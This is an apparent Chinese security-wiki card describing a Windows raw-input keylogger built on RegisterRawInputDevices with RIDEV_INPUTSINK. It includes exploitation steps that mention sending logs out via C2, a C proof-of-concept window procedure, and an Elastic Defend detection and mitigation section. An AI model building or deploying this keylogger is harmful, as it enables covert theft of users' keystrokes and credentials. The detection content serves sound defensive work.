♧ Godown 安全知识树

Raw Input 键盘记录:RegisterRawInputDevices 注册键盘 + GetRawInputData 读取 WM_INPUT 原始击键

pentest/c2 · verified

一句话结论

RegisterRawInputDevices 把键盘注册为原始输入设备,窗口在 WM_INPUT 中用 GetRawInputData 直接读取设备级原始输入;配合 RIDEV_INPUTSINK 窗口不在前台也能收键,是原文演示、Elastic 重点检测的现代用户态键盘记录方式。

原理

  • Windows 原始输入模型(XP 起提供)允许应用不经常规键盘消息处理路径、直接从输入设备接收原始数据。RegisterRawInputDevices 的第一个参数是 RAWINPUTDEVICE 结构:usUsagePage = 0x01(HID_USAGE_PAGE_GENERIC)、usUsage = 0x06(HID_USAGE_GENERIC_KEYBOARD)指定键盘设备;dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK 中前者抑制该窗口的传统键盘消息,后者允许窗口即使不在前台也能接收输入;hwndTarget = hWnd 指定接收消息的窗口。
  • 注册成功后,每次按键都会让目标窗口收到 WM_INPUT:先用 GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)) 查询所需缓冲区大小,分配缓冲区后再调用一次取得 RAWINPUT 数据;判断 buffer->header.dwType == RIM_TYPEKEYBOARD 即确认是键盘原始输入,可从中提取击键并保存。
  • 与钩子/轮询不同,这种方式直接面对输入设备数据,不需要把代码注入其他进程,也不需要轮询全部虚拟键码;后台接收能力来自 RIDEV_INPUTSINK。

触发条件

  • 程序需要创建一个消息窗口(原文在 WM_CREATE 中注册)并保持消息循环,在同一交互式会话以普通用户权限运行。
  • 注册参数必须指明键盘 usage 且带 RIDEV_INPUTSINK(原文用法),hwndTarget 有效。
  • EDR 未拦截/未告警(Elastic Defend 8.12+ 对此有专门规则)。

利用步骤

  1. 创建隐藏/普通窗口,在 WM_CREATE 中填充 RAWINPUTDEVICE 并调用 RegisterRawInputDevices(&rid, 1, sizeof(rid))。
  2. 在 WndProc 处理 WM_INPUT:第一次 GetRawInputData 取大小、HeapAlloc 分配缓冲区,第二次取数据;dwType == RIM_TYPEKEYBOARD 时解析并记录按键。
  3. 处理完 HeapFree 并保持消息循环;日志加密后落盘或经 C2 通道外传。

PoC

原文示意代码(SaveTheKey 未实现,原文注明仅用于说明;本卡未在本机执行):

LRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
    UINT dwSize = 0;
    RAWINPUT* buffer = NULL;

    switch (uMessage)
    {
    case WM_CREATE:
        RAWINPUTDEVICE rid;
        rid.usUsagePage = 0x01;  // HID_USAGE_PAGE_GENERIC
        rid.usUsage = 0x06;      // HID_USAGE_GENERIC_KEYBOARD
        rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;
        rid.hwndTarget = hWnd;
        RegisterRawInputDevices(&rid, 1, sizeof(rid));
        break;
    case WM_INPUT:
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
        buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
        if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize, sizeof(RAWINPUTHEADER)))
        {
            if (buffer->header.dwType == RIM_TYPEKEYBOARD)
            {
                SaveTheKey(buffer, "log.txt");
            }
        }
        HeapFree(GetProcessHeap(), 0, buffer);
        break;
    default:
        return DefWindowProc(hWnd, uMessage, wParam, lParam);
    }
    return 0;
}

变体与关联

  • DirectInput 的底层实现同样会调用 RegisterRawInputDevices(见 [[pentest-c2-keylogger-directinput-getdevicestate]]);可与轮询/钩子组合使用。
  • 边界:需在同一交互式会话内运行;usage=KEYBOARD + flags=INPUTSINK 参数与不可信调用栈是 Elastic 规则的核心特征;UAC 安全桌面输入同样不可见。
  • 关联:同文章拆分的 [[pentest-c2-keylogger-getasynckeystate-polling]]、[[pentest-c2-keylogger-setwindowshookex-wh-keyboard-ll]]、[[pentest-c2-keylogger-directinput-getdevicestate]];检测卡 [[defense-detection-etw-keylogger-api-behavior]]。

检测与防御

  • 检测:Elastic Defend 8.12+ 监控 RegisterRawInputDevices 调用的 process.Ext.api.parameters.usage_page(GENERIC)、parameters.usage(KEYBOARD)、parameters.flags(INPUTSINK)、metadata.return_value、windows_count/visible_windows_count/thread_info_flags、start_address_module 等;规则 “Keystroke Input Capture via RegisterRawInputDevices” 要求进程签名不可信、参数为键盘 usage + INPUTSINK、存在调用栈且最终用户模块不在系统目录/Program Files 白名单。原文在 Windows 10 22H2 19045.4412 运行使用该 API 的 keylogger.exe 后立即触发 “Malicious Behavior Detection Alert: Keystroke Input Capture via RegisterRawInputDevices”,Kibana 可见 6 条 RegisterRawInputDevices 文档,start_address_module 指向 C:\Users\vagrant\Keylogger.exe、visible_windows_count=0、integrity_level_name=high。
  • 防御:部署带 ETW API 遥测的 EDR 并启用该规则;对输入设备/远程支持软件(原文白名单含 Teams、KumoSpace)白名单化并审计;禁止不可信签名程序与用户目录可执行文件运行;告警后排查凭据泄露与外传。